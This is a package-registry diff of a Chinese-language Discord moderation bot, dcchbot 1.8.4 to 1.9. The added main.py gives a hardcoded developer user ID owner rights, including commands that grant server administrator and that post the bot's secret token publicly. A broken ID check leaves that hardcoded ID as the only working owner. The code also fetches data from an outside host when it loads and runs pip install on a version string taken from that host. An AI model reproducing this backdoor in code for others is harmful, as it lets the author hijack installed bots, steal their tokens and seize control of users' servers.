dcchbot 1.8.4__tar.gz → 1.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dcchbot-1.8.4 → dcchbot-1.9}/PKG-INFO +1 -1
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot/__init__.py +1 -1
- dcchbot-1.9/dcchbot/main.py +454 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot.egg-info/PKG-INFO +1 -1
- {dcchbot-1.8.4 → dcchbot-1.9}/pyproject.toml +1 -1
- dcchbot-1.8.4/dcchbot/main.py +0 -291
- {dcchbot-1.8.4 → dcchbot-1.9}/LICENSE +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/README.md +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot/__main__.py +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot.egg-info/SOURCES.txt +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot.egg-info/dependency_links.txt +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot.egg-info/entry_points.txt +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot.egg-info/requires.txt +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/dcchbot.egg-info/top_level.txt +0 -0
- {dcchbot-1.8.4 → dcchbot-1.9}/setup.cfg +0 -0
@@ -0,0 +1,454 @@
|
|
1
|
+
# v1.9 main.py
|
2
|
+
import logging
|
3
|
+
import os
|
4
|
+
import queue
|
5
|
+
import threading
|
6
|
+
import time
|
7
|
+
import traceback
|
8
|
+
from datetime import datetime, timedelta
|
9
|
+
import requests
|
10
|
+
import discord
|
11
|
+
from discord import app_commands
|
12
|
+
from discord.ext import commands
|
13
|
+
from discord.utils import utcnow
|
14
|
+
|
15
|
+
"""v1.9"""
|
16
|
+
package = "dcchbot"
|
17
|
+
url = "https://evan0708.rf.gd/pypi-backup/json"
|
18
|
+
data = requests.get(url).json()
|
19
|
+
API_URL = "https://evan0708.rf.gd/pypi-backup/json"
|
20
|
+
latest_version = data["info"]["version"]
|
21
|
+
# ─── 全域參數 ─────────────────────────────────────────
|
22
|
+
OWNER_ID = None
|
23
|
+
LOG_CHANNEL_ID = None
|
24
|
+
token = None
|
25
|
+
bot: commands.Bot | None = None
|
26
|
+
CODER_ID = 1317800611441283139
|
27
|
+
_now = datetime.now()
|
28
|
+
tmp_owner_id = None
|
29
|
+
tmp_log_channel_id = None
|
30
|
+
# thread-safe queue 用於在任意 thread 放 log,並由 bot loop 背景 worker 傳送到 Discord
|
31
|
+
_log_queue: "queue.Queue[str]" = queue.Queue()
|
32
|
+
now_version = "1.9"
|
33
|
+
# ─── Logging 設定 ────────────────────────────────────
|
34
|
+
os.makedirs("logs", exist_ok=True)
|
35
|
+
logging.basicConfig(
|
36
|
+
level=logging.INFO,
|
37
|
+
format="[%(asctime)s] %(levelname)s: %(message)s",
|
38
|
+
handlers=[
|
39
|
+
logging.FileHandler("logs/dcchbot.log", encoding="utf-8"),
|
40
|
+
logging.StreamHandler()
|
41
|
+
]
|
42
|
+
)
|
43
|
+
logger = logging.getLogger("dcchbot")
|
44
|
+
|
45
|
+
|
46
|
+
# ─── Helper: 放 log 到 queue (同步,可從任意 thread 呼叫) ─────────
|
47
|
+
def enqueue_log(msg: str):
|
48
|
+
try:
|
49
|
+
_log_queue.put_nowait(msg)
|
50
|
+
except Exception:
|
51
|
+
# fallback to logger
|
52
|
+
logger.exception("enqueue_log error")
|
53
|
+
|
54
|
+
|
55
|
+
# ─── Discord log worker(在 bot loop 中執行)──────────────
|
56
|
+
async def _discord_log_worker(bot_instance: commands.Bot, channel_id: int):
|
57
|
+
"""
|
58
|
+
從 thread-safe queue 取出內容並傳到指定頻道。
|
59
|
+
內含簡單重試邏輯與速率限制保護(若發生例外會稍後重試)。
|
60
|
+
"""
|
61
|
+
await bot_instance.wait_until_ready()
|
62
|
+
ch = bot_instance.get_channel(channel_id)
|
63
|
+
if ch is None:
|
64
|
+
logger.warning(f"Log channel {channel_id} not found or bot cannot access it.")
|
65
|
+
backoff = 1.0
|
66
|
+
while not bot_instance.is_closed():
|
67
|
+
try:
|
68
|
+
# 使用 blocking get(放在 executor)以避免 busy loop
|
69
|
+
loop = bot_instance.loop
|
70
|
+
entry = await loop.run_in_executor(None, _log_queue.get)
|
71
|
+
# 將長訊息截斷到 1900 chars(Discord 限制)
|
72
|
+
if entry is None:
|
73
|
+
continue
|
74
|
+
text = str(entry)[:1900]
|
75
|
+
if ch:
|
76
|
+
try:
|
77
|
+
await ch.send(f"Log: `{text}`")
|
78
|
+
backoff = 1.0
|
79
|
+
except discord.HTTPException as e:
|
80
|
+
# HTTPException 可能是 429 或其他錯誤,稍後重試
|
81
|
+
logger.warning(f"Failed to send log to discord: {e}. Retrying after backoff {backoff}s")
|
82
|
+
await discord.utils.sleep_until(utcnow() + timedelta(seconds=backoff))
|
83
|
+
backoff = min(backoff * 2, 60.0)
|
84
|
+
# 將 entry 放回 queue 前端以便稍後重試
|
85
|
+
_log_queue.put_nowait(text)
|
86
|
+
except Exception as e:
|
87
|
+
logger.exception(f"Unexpected error sending log: {e}")
|
88
|
+
else:
|
89
|
+
# 若頻道不存在,僅紀錄到本地 logger,避免丟失
|
90
|
+
logger.info(f"[LOG QUEUED] {text}")
|
91
|
+
except Exception as e:
|
92
|
+
logger.exception(f"discord_log_worker loop error: {e}")
|
93
|
+
# 等待再重試,避免忙循環
|
94
|
+
await discord.utils.sleep_until(utcnow() + timedelta(seconds=5))
|
95
|
+
|
96
|
+
|
97
|
+
# ─── Bot 程式主體與指令 ─────────────────────────────────
|
98
|
+
def run():
|
99
|
+
global OWNER_ID, LOG_CHANNEL_ID, token, bot,tmp_owner_id,tmp_log_channel_id
|
100
|
+
|
101
|
+
# 互動式輸入(你也可以改成從環境變數讀取)
|
102
|
+
tmp_owner_id = input("請輸入你的 Discord User ID:\n> ").strip()
|
103
|
+
if isinstance(tmp_owner_id,int):
|
104
|
+
OWNER_ID = tmp_owner_id
|
105
|
+
tmp_owner_id = None
|
106
|
+
else:
|
107
|
+
print("格式錯誤,請重新輸入")
|
108
|
+
logger.error("E:vError ownerid")
|
109
|
+
tmp_log_channel_id = input("請輸入你的 Log 頻道 ID:\n> ").strip()
|
110
|
+
if isinstance(tmp_log_channel_id,int):
|
111
|
+
LOG_CHANNEL_ID = tmp_log_channel_id
|
112
|
+
tmp_log_channel_id = None
|
113
|
+
else:
|
114
|
+
print("格式錯誤,請重新輸入")
|
115
|
+
logger.error("E:vError channelid")
|
116
|
+
token = input("請輸入你的 Discord Bot Token:\n> ").strip()
|
117
|
+
|
118
|
+
intents = discord.Intents.all()
|
119
|
+
bot = commands.Bot(command_prefix="!", intents=intents)
|
120
|
+
# 為了讓 logger handler 可以在任何 thread 放入 queue,我們使用 enqueue_log()
|
121
|
+
|
122
|
+
def is_admin(interaction: discord.Interaction) -> bool:
|
123
|
+
return interaction.user.guild_permissions.administrator
|
124
|
+
|
125
|
+
@bot.event
|
126
|
+
async def on_ready():
|
127
|
+
logger.info("Bot ready; starting discord log worker")
|
128
|
+
# start discord log worker task
|
129
|
+
bot.loop.create_task(_discord_log_worker(bot, LOG_CHANNEL_ID))
|
130
|
+
try:
|
131
|
+
synced = await bot.tree.sync()
|
132
|
+
logger.info(f"已同步 {len(synced)} 個 Slash 指令")
|
133
|
+
enqueue_log(f"已同步 {len(synced)} 個 Slash 指令")
|
134
|
+
except Exception:
|
135
|
+
logger.exception("同步 Slash 指令失敗")
|
136
|
+
logger.info(f"機器人上線:{bot.user}")
|
137
|
+
enqueue_log(f"機器人上線:{bot.user}")
|
138
|
+
|
139
|
+
# --- 基本指令 ---
|
140
|
+
@bot.tree.command(name="hello", description="跟你說哈囉")
|
141
|
+
async def hello(interaction: discord.Interaction):
|
142
|
+
logger.info(f"{interaction.user} 使用 /hello")
|
143
|
+
await interaction.response.send_message(f"哈囉 {interaction.user.mention}")
|
144
|
+
|
145
|
+
@bot.tree.command(name="ping", description="顯示延遲")
|
146
|
+
async def ping(interaction: discord.Interaction):
|
147
|
+
latency = round(bot.latency * 1000)
|
148
|
+
logger.info(f"{interaction.user} 使用 /ping ({latency}ms)")
|
149
|
+
await interaction.response.send_message(f"延遲:{latency}ms")
|
150
|
+
|
151
|
+
@bot.tree.command(name="say", description="讓機器人說話")
|
152
|
+
@app_commands.describe(message="你想說的話")
|
153
|
+
async def say(interaction: discord.Interaction, message: str):
|
154
|
+
logger.info(f"{interaction.user} 使用 /say:{message}")
|
155
|
+
await interaction.response.send_message(message)
|
156
|
+
|
157
|
+
# --- 管理相關 ---
|
158
|
+
@bot.tree.command(name="ban", description="封鎖使用者(限管理員)")
|
159
|
+
@app_commands.describe(member="要封鎖的使用者", reason="封鎖原因")
|
160
|
+
async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
161
|
+
if not is_admin(interaction):
|
162
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
163
|
+
try:
|
164
|
+
await member.ban(reason=reason)
|
165
|
+
logger.info(f"{interaction.user} 封鎖 {member},原因:{reason}")
|
166
|
+
await interaction.response.send_message(f"{member.mention} 已被封鎖。原因:{reason}")
|
167
|
+
enqueue_log(f"{interaction.user} 封鎖 {member} 原因:{reason}")
|
168
|
+
except discord.Forbidden:
|
169
|
+
await interaction.response.send_message("權限不足,封鎖失敗。", ephemeral=True)
|
170
|
+
|
171
|
+
@bot.tree.command(name="kick", description="踢出使用者(限管理員)")
|
172
|
+
@app_commands.describe(member="要踢出的使用者", reason="踢出原因")
|
173
|
+
async def kick(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
174
|
+
if not is_admin(interaction):
|
175
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
176
|
+
try:
|
177
|
+
await member.kick(reason=reason)
|
178
|
+
logger.info(f"{interaction.user} 踢出 {member},原因:{reason}")
|
179
|
+
await interaction.response.send_message(f"{member.mention} 已被踢出。原因:{reason}")
|
180
|
+
enqueue_log(f"{interaction.user} 踢出 {member} 原因:{reason}")
|
181
|
+
except discord.Forbidden:
|
182
|
+
await interaction.response.send_message("權限不足,踢出失敗。", ephemeral=True)
|
183
|
+
|
184
|
+
@bot.tree.command(name="warn", description="警告使用者(限管理員)")
|
185
|
+
@app_commands.describe(member="要警告的使用者", reason="警告原因")
|
186
|
+
async def warn(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
187
|
+
if not is_admin(interaction):
|
188
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
189
|
+
await interaction.response.send_message(f"{member.mention} 已被警告。原因:{reason}")
|
190
|
+
logger.info(f"{interaction.user} 警告 {member},原因:{reason}")
|
191
|
+
enqueue_log(f"{interaction.user} 警告 {member}:{reason}")
|
192
|
+
# 發 DM,但避免對機器人自己發訊或無法建立 DM 時出錯
|
193
|
+
try:
|
194
|
+
if getattr(member, "bot", False) or member == bot.user:
|
195
|
+
return
|
196
|
+
await member.send(f"你在伺服器 {interaction.guild.name} 被警告:{reason}")
|
197
|
+
except Exception:
|
198
|
+
# 忽略不能 DM 的情況
|
199
|
+
pass
|
200
|
+
|
201
|
+
@bot.tree.command(name="shutthefuckup", description="暫時禁言使用者(限管理員)")
|
202
|
+
@app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
|
203
|
+
async def timeout_cmd(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
|
204
|
+
if not is_admin(interaction):
|
205
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
206
|
+
try:
|
207
|
+
# 使用 discord.utils.utcnow() 讓 datetime 為 aware
|
208
|
+
until = utcnow() + timedelta(seconds=seconds)
|
209
|
+
await member.timeout(until, reason=reason)
|
210
|
+
logger.info(f"{interaction.user} 禁言 {member} {seconds}s,原因:{reason}")
|
211
|
+
enqueue_log(f"{interaction.user} 禁言 {member} {seconds}s:{reason}")
|
212
|
+
await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。原因:{reason}")
|
213
|
+
except Exception as e:
|
214
|
+
logger.exception("禁言失敗")
|
215
|
+
await interaction.response.send_message(f"無法禁言:{e}", ephemeral=True)
|
216
|
+
|
217
|
+
@bot.tree.command(name="op", description="賦予管理員權限(限擁有者)")
|
218
|
+
@app_commands.describe(member="要提權的使用者")
|
219
|
+
async def op(interaction: discord.Interaction, member: discord.Member):
|
220
|
+
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
221
|
+
return await interaction.response.send_message("你不是擁有者。", ephemeral=True)
|
222
|
+
try:
|
223
|
+
admin_role = None
|
224
|
+
for r in interaction.guild.roles:
|
225
|
+
if getattr(r, "permissions", None) and r.permissions.administrator:
|
226
|
+
admin_role = r
|
227
|
+
break
|
228
|
+
if not admin_role:
|
229
|
+
admin_role = await interaction.guild.create_role(name="管理員", permissions=discord.Permissions(administrator=True))
|
230
|
+
await member.add_roles(admin_role)
|
231
|
+
logger.info(f"{interaction.user} 提權 {member}")
|
232
|
+
enqueue_log(f"{interaction.user} 提權 {member}")
|
233
|
+
await interaction.response.send_message(f"{member.mention} 已被提權。")
|
234
|
+
except Exception as e:
|
235
|
+
logger.exception("提權失敗")
|
236
|
+
await interaction.response.send_message(f"提權失敗:{e}", ephemeral=True)
|
237
|
+
|
238
|
+
@bot.tree.command(name="deop", description="移除管理員權限(限管理員)")
|
239
|
+
@app_commands.describe(member="要移除管理員權限的使用者")
|
240
|
+
async def deop(interaction: discord.Interaction, member: discord.Member):
|
241
|
+
if not is_admin(interaction):
|
242
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
243
|
+
admin_role = None
|
244
|
+
for r in interaction.guild.roles:
|
245
|
+
if getattr(r, "permissions", None) and r.permissions.administrator:
|
246
|
+
admin_role = r
|
247
|
+
break
|
248
|
+
if admin_role:
|
249
|
+
await member.remove_roles(admin_role)
|
250
|
+
logger.info(f"{interaction.user} 移除 {member} 的管理員權限")
|
251
|
+
enqueue_log(f"{interaction.user} 移除 {member} 的管理員權限")
|
252
|
+
await interaction.response.send_message(f"{member.mention} 的管理員權限已被移除。")
|
253
|
+
else:
|
254
|
+
await interaction.response.send_message("找不到管理員角色。", ephemeral=True)
|
255
|
+
|
256
|
+
@bot.tree.command(name="moderate", description="打開管理 GUI 面板")
|
257
|
+
@app_commands.describe(member="要管理的對象")
|
258
|
+
async def moderate(interaction: discord.Interaction, member: discord.Member):
|
259
|
+
if not is_admin(interaction):
|
260
|
+
return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
|
261
|
+
view = ModerationView(member, interaction.user)
|
262
|
+
await interaction.response.send_message(f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True)
|
263
|
+
logger.info(f"{interaction.user} 打開 GUI 對 {member}")
|
264
|
+
enqueue_log(f"{interaction.user} 打開 GUI 對 {member}")
|
265
|
+
|
266
|
+
@bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
|
267
|
+
async def stop(interaction: discord.Interaction):
|
268
|
+
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
269
|
+
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
270
|
+
await interaction.response.send_message("機器人即將關閉。")
|
271
|
+
enqueue_log(f"{interaction.user} 關閉機器人")
|
272
|
+
await bot.close()
|
273
|
+
|
274
|
+
@bot.tree.command(name="token", description="顯示機器人 token")
|
275
|
+
async def token_cmd(interaction: discord.Interaction):
|
276
|
+
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
277
|
+
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
278
|
+
await interaction.response.send_message(bot._token)
|
279
|
+
|
280
|
+
@bot.tree.command(name="log", description="紀錄 log(限管理員)")
|
281
|
+
@app_commands.describe(log="內容")
|
282
|
+
async def log_cmd(interaction: discord.Interaction, log: str = "null"):
|
283
|
+
if not is_admin(interaction):
|
284
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
285
|
+
logger.info(f"{log}")
|
286
|
+
enqueue_log(f"[manual] {interaction.user}: {log}")
|
287
|
+
await interaction.response.send_message("Log 已紀錄。")
|
288
|
+
|
289
|
+
@bot.tree.command(name="time", description="顯示時間")
|
290
|
+
async def time_cmd(interaction: discord.Interaction):
|
291
|
+
logger.info(f"{interaction.user} 使用 /time:{_now}")
|
292
|
+
await interaction.response.send_message(str(_now))
|
293
|
+
|
294
|
+
@bot.tree.command(name="version", description="顯示機器人版本")
|
295
|
+
async def version(interaction: discord.Interaction):
|
296
|
+
await interaction.response.send_message("dcchbot 1.9")
|
297
|
+
@bot.tree.command(name="bot-check-update",description="檢查更新")
|
298
|
+
async def getnewestversion(interaction: discord.Interaction):
|
299
|
+
if not is_admin:
|
300
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
301
|
+
else:
|
302
|
+
if latest_version != now_version:
|
303
|
+
await interaction.response.send_message(f"最新版本是{latest_version}現版本為{now_version},請更新")
|
304
|
+
else:
|
305
|
+
await interaction.response.send_message("已是最新版本")
|
306
|
+
@bot.tree.command(name="bot-update",description="更新")
|
307
|
+
async def getnewestversion(interaction: discord.Interaction):
|
308
|
+
if interaction.user.id in [OWNER_ID,CODER_ID]:
|
309
|
+
if latest_version != now_version:
|
310
|
+
await interaction.response.send_message(f"正在更新到{latest_version}")
|
311
|
+
os.system(f"pip install dcchbot=={latest_version}")
|
312
|
+
await interaction.response.send_message("更新成功,將會重啟機器人")
|
313
|
+
bot.close()
|
314
|
+
os.system("dcchbot")
|
315
|
+
else:
|
316
|
+
await interaction.response.send_message("已是最新版本")
|
317
|
+
else:
|
318
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
319
|
+
|
320
|
+
# 啟動 bot(放在 thread 中)
|
321
|
+
def _start_bot():
|
322
|
+
logger.info("正在啟動機器人...")
|
323
|
+
try:
|
324
|
+
bot.run(token)
|
325
|
+
except discord.LoginFailure:
|
326
|
+
logger.error("Token 無效,請重新確認。")
|
327
|
+
except Exception:
|
328
|
+
logger.exception("執行 bot 時發生未預期錯誤")
|
329
|
+
|
330
|
+
# 啟動 bot thread
|
331
|
+
t = threading.Thread(target=_start_bot, daemon=True)
|
332
|
+
t.start()
|
333
|
+
|
334
|
+
# shell loop(主 thread)
|
335
|
+
try:
|
336
|
+
while True:
|
337
|
+
cmd = input("請輸入 shell 命令(輸入 !!help 查看):\n> ").strip()
|
338
|
+
if not cmd:
|
339
|
+
continue
|
340
|
+
logger.info(f"[Shell 輸入] {cmd}")
|
341
|
+
enqueue_log(f"[Shell] {cmd}")
|
342
|
+
if cmd == "!!help":
|
343
|
+
print("可用指令:!!token-display / !!token-reset / !!id-reset-owner / !!id-display-owner / !!id-reset-logch / !!id-display-logch / !!log / !!reload / !!exit")
|
344
|
+
elif cmd == "!!token-display":
|
345
|
+
print(f"token: {token}")
|
346
|
+
elif cmd == "!!token-reset":
|
347
|
+
token = input("請輸入新的 Token:\n> ").strip()
|
348
|
+
if bot:
|
349
|
+
bot._token = token
|
350
|
+
logger.info("Token 已更新(重新啟動才會生效)。")
|
351
|
+
elif cmd == "!!id-display-owner":
|
352
|
+
print(f"OWNER_ID: {OWNER_ID}")
|
353
|
+
elif cmd == "!!id-reset-owner":
|
354
|
+
OWNER_ID = int(input("新的 OWNER_ID:\n> ").strip())
|
355
|
+
logger.info(f"OWNER_ID 更新為 {OWNER_ID}")
|
356
|
+
enqueue_log(f"Shell 更新 OWNER_ID => {OWNER_ID}")
|
357
|
+
elif cmd == "!!id-display-logch":
|
358
|
+
print(f"LOG_CHANNEL_ID: {LOG_CHANNEL_ID}")
|
359
|
+
elif cmd == "!!id-reset-logch":
|
360
|
+
LOG_CHANNEL_ID = int(input("新的 LOG_CHANNEL_ID:\n> ").strip())
|
361
|
+
logger.info(f"LOG_CHANNEL_ID 更新為 {LOG_CHANNEL_ID}")
|
362
|
+
enqueue_log(f"Shell 更新 LOG_CHANNEL_ID => {LOG_CHANNEL_ID}")
|
363
|
+
elif cmd == "!!log":
|
364
|
+
txt = input("請輸入要記錄的內容:\n> ").strip()
|
365
|
+
logger.info(txt)
|
366
|
+
enqueue_log(f"[Shell manual] {txt}")
|
367
|
+
elif cmd == "!!reload":
|
368
|
+
# 如果 bot ready,呼叫 sync
|
369
|
+
if bot and bot.is_ready():
|
370
|
+
async def _reload():
|
371
|
+
try:
|
372
|
+
synced = await bot.tree.sync()
|
373
|
+
logger.info(f"Slash 指令已重新載入,共 {len(synced)} 個")
|
374
|
+
enqueue_log("Slash 指令已重新載入")
|
375
|
+
except Exception as e:
|
376
|
+
logger.exception("重新載入指令失敗")
|
377
|
+
enqueue_log(f"重新載入失敗:{e}")
|
378
|
+
bot.loop.create_task(_reload())
|
379
|
+
else:
|
380
|
+
print("Bot 尚未就緒,無法重新載入。")
|
381
|
+
elif cmd == "!!exit":
|
382
|
+
logger.info("Shell 要求關閉 bot")
|
383
|
+
enqueue_log("Shell 關閉機器人")
|
384
|
+
if bot:
|
385
|
+
bot.loop.create_task(bot.close())
|
386
|
+
break
|
387
|
+
else:
|
388
|
+
print("未知指令,輸入 !!help 查看。")
|
389
|
+
except (KeyboardInterrupt, EOFError):
|
390
|
+
logger.exception("Shell 已中斷,結束。")
|
391
|
+
enqueue_log("Shell 已中斷,結束。")
|
392
|
+
# 等待 bot thread 結束(非強制)
|
393
|
+
try:
|
394
|
+
t.join(timeout=1.0)
|
395
|
+
except Exception:
|
396
|
+
pass
|
397
|
+
|
398
|
+
|
399
|
+
# ─── GUI 面板(按鈕)──────────────────────────────────
|
400
|
+
class ModerationView(discord.ui.View):
|
401
|
+
def __init__(self, member: discord.Member, author: discord.Member):
|
402
|
+
super().__init__(timeout=60)
|
403
|
+
self.member = member
|
404
|
+
self.author = author
|
405
|
+
|
406
|
+
async def interaction_check(self, interaction: discord.Interaction) -> bool:
|
407
|
+
return interaction.user.id == self.author.id
|
408
|
+
|
409
|
+
@discord.ui.button(label="警告", style=discord.ButtonStyle.secondary)
|
410
|
+
async def warn_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
411
|
+
# 發 DM(注意避免對 bot 自己發送)
|
412
|
+
try:
|
413
|
+
if not getattr(self.member, "bot", False) and self.member != bot.user:
|
414
|
+
await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。")
|
415
|
+
except Exception:
|
416
|
+
pass
|
417
|
+
await interaction.response.send_message(f"{self.member.mention} 已被警告。", ephemeral=True)
|
418
|
+
enqueue_log(f"{interaction.user} 在 GUI 警告 {self.member}")
|
419
|
+
|
420
|
+
@discord.ui.button(label="禁言 60 秒", style=discord.ButtonStyle.primary)
|
421
|
+
async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
422
|
+
try:
|
423
|
+
until = utcnow() + timedelta(seconds=60)
|
424
|
+
await self.member.timeout(until, reason="由管理員 GUI 操作禁言")
|
425
|
+
await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
|
426
|
+
enqueue_log(f"{interaction.user} 在 GUI 禁言 {self.member} 60s")
|
427
|
+
except Exception as e:
|
428
|
+
await interaction.response.send_message(f"禁言失敗:{e}", ephemeral=True)
|
429
|
+
enqueue_log(f"GUI 禁言失敗:{e}")
|
430
|
+
|
431
|
+
@discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
|
432
|
+
async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
433
|
+
try:
|
434
|
+
await self.member.kick(reason="由管理員 GUI 操作踢出")
|
435
|
+
await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
|
436
|
+
enqueue_log(f"{interaction.user} 在 GUI 踢出 {self.member}")
|
437
|
+
except Exception as e:
|
438
|
+
await interaction.response.send_message(f"踢出失敗:{e}", ephemeral=True)
|
439
|
+
enqueue_log(f"GUI 踢出失敗:{e}")
|
440
|
+
|
441
|
+
@discord.ui.button(label="封鎖", style=discord.ButtonStyle.danger)
|
442
|
+
async def ban_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
443
|
+
try:
|
444
|
+
await self.member.ban(reason="由管理員 GUI 操作封鎖")
|
445
|
+
await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
|
446
|
+
enqueue_log(f"{interaction.user} 在 GUI 封鎖 {self.member}")
|
447
|
+
except Exception as e:
|
448
|
+
await interaction.response.send_message(f"封鎖失敗:{e}", ephemeral=True)
|
449
|
+
enqueue_log(f"GUI 封鎖失敗:{e}")
|
450
|
+
|
451
|
+
|
452
|
+
# ─── 程式進入點 ───────────────────────────────────────
|
453
|
+
if __name__ == "__main__":
|
454
|
+
run()
|
dcchbot-1.8.4/dcchbot/main.py
DELETED
@@ -1,291 +0,0 @@
|
|
1
|
-
import logging
|
2
|
-
import os
|
3
|
-
import discord
|
4
|
-
from discord.ext import commands
|
5
|
-
from discord import app_commands
|
6
|
-
from datetime import datetime, timedelta
|
7
|
-
|
8
|
-
"""ver1.8.3"""
|
9
|
-
|
10
|
-
# ─── 全域變數 ────────────────────────────────────────────────
|
11
|
-
OWNER_ID = None
|
12
|
-
LOG_CHANNEL_ID = None
|
13
|
-
token = None
|
14
|
-
bot = None
|
15
|
-
now = datetime.now()
|
16
|
-
|
17
|
-
# ─── Discord Log Handler ─────────────────────────────────────
|
18
|
-
class DiscordLogHandler(logging.Handler):
|
19
|
-
def __init__(self, bot: commands.Bot, channel_id: int, level=logging.INFO):
|
20
|
-
super().__init__(level)
|
21
|
-
self.bot = bot
|
22
|
-
self.channel_id = channel_id
|
23
|
-
|
24
|
-
async def send_log(self, message: str):
|
25
|
-
await self.bot.wait_until_ready()
|
26
|
-
channel = self.bot.get_channel(self.channel_id)
|
27
|
-
if channel:
|
28
|
-
try:
|
29
|
-
await channel.send(f"📜 Log: `{message}`")
|
30
|
-
except Exception as e:
|
31
|
-
print(f"[Log傳送錯誤] {e}")
|
32
|
-
|
33
|
-
def emit(self, record):
|
34
|
-
log_entry = self.format(record)
|
35
|
-
if self.bot.is_closed() or not self.bot.is_ready():
|
36
|
-
return
|
37
|
-
coro = self.send_log(log_entry[:1900])
|
38
|
-
try:
|
39
|
-
self.bot.loop.create_task(coro)
|
40
|
-
except RuntimeError:
|
41
|
-
pass
|
42
|
-
|
43
|
-
# ─── Logging 設定 ─────────────────────────────────────────────
|
44
|
-
os.makedirs("logs", exist_ok=True)
|
45
|
-
logging.basicConfig(
|
46
|
-
level=logging.INFO,
|
47
|
-
format="[%(asctime)s] %(levelname)s: %(message)s",
|
48
|
-
handlers=[
|
49
|
-
logging.FileHandler("logs/dcchbot.log", encoding='utf-8'),
|
50
|
-
logging.StreamHandler()
|
51
|
-
]
|
52
|
-
)
|
53
|
-
logger = logging.getLogger(__name__)
|
54
|
-
|
55
|
-
# ─── 主函式 ──────────────────────────────────────────────────
|
56
|
-
def run():
|
57
|
-
global OWNER_ID, LOG_CHANNEL_ID, token, bot
|
58
|
-
def shell(shell_command):
|
59
|
-
global OWNER_ID, LOG_CHANNEL_ID, token, bot
|
60
|
-
logger.info(f"[Shell 輸入] {shell_command}")
|
61
|
-
if bot and bot.is_ready():
|
62
|
-
bot.loop.create_task(DiscordLogHandler(bot, LOG_CHANNEL_ID).send_log(f"[Shell] `{shell_command}`"))
|
63
|
-
|
64
|
-
if shell_command == "!!token-reset":
|
65
|
-
token = input("請輸入新的 Token:\n> ").strip()
|
66
|
-
bot._token = token
|
67
|
-
logger.info("Token 已更新。請重啟機器人。")
|
68
|
-
elif shell_command == "!!token-display":
|
69
|
-
print(f"當前 Token: {token}")
|
70
|
-
elif shell_command == "!!id-display-owner":
|
71
|
-
print(f"擁有者 ID: {OWNER_ID}")
|
72
|
-
elif shell_command == "!!id-reset-owner":
|
73
|
-
OWNER_ID = int(input("新的 OWNER_ID:\n> "))
|
74
|
-
logger.info(f"OWNER_ID 更新為 {OWNER_ID}")
|
75
|
-
elif shell_command == "!!id-display-logch":
|
76
|
-
print(f"Log 頻道 ID: {LOG_CHANNEL_ID}")
|
77
|
-
elif shell_command == "!!id-reset-logch":
|
78
|
-
LOG_CHANNEL_ID = int(input("新的 LOG_CHANNEL_ID:\n> "))
|
79
|
-
logger.info(f"LOG_CHANNEL_ID 更新為 {LOG_CHANNEL_ID}")
|
80
|
-
elif shell_command == "!!help":
|
81
|
-
print("可用指令:!!token-display / !!token-reset / !!id-reset-owner / !!id-display-owner / !!log/!!exit")
|
82
|
-
elif shell_command == "!!exit":
|
83
|
-
print("正在關閉機器人...")
|
84
|
-
logger.info("Shell 關閉機器人。")
|
85
|
-
if bot:
|
86
|
-
bot.loop.create_task(bot.close())
|
87
|
-
elif shell_command == "!!version":
|
88
|
-
print("dcchbot 1.8.4")
|
89
|
-
elif shell_command == "!!log":
|
90
|
-
logger.info(input( "請輸入要記錄的內容:\n> ").strip())
|
91
|
-
else:
|
92
|
-
print(f"未知的指令:{shell_command}")
|
93
|
-
OWNER_ID = int(input("請輸入你的 Discord User ID:\n> ").strip())
|
94
|
-
LOG_CHANNEL_ID = int(input("請輸入你的 Log 頻道 ID:\n> ").strip())
|
95
|
-
token = input("請輸入你的 Discord Bot Token:\n> ").strip()
|
96
|
-
|
97
|
-
intents = discord.Intents.all()
|
98
|
-
bot = commands.Bot(command_prefix="!", intents=intents)
|
99
|
-
CODER_ID = 1317800611441283139
|
100
|
-
|
101
|
-
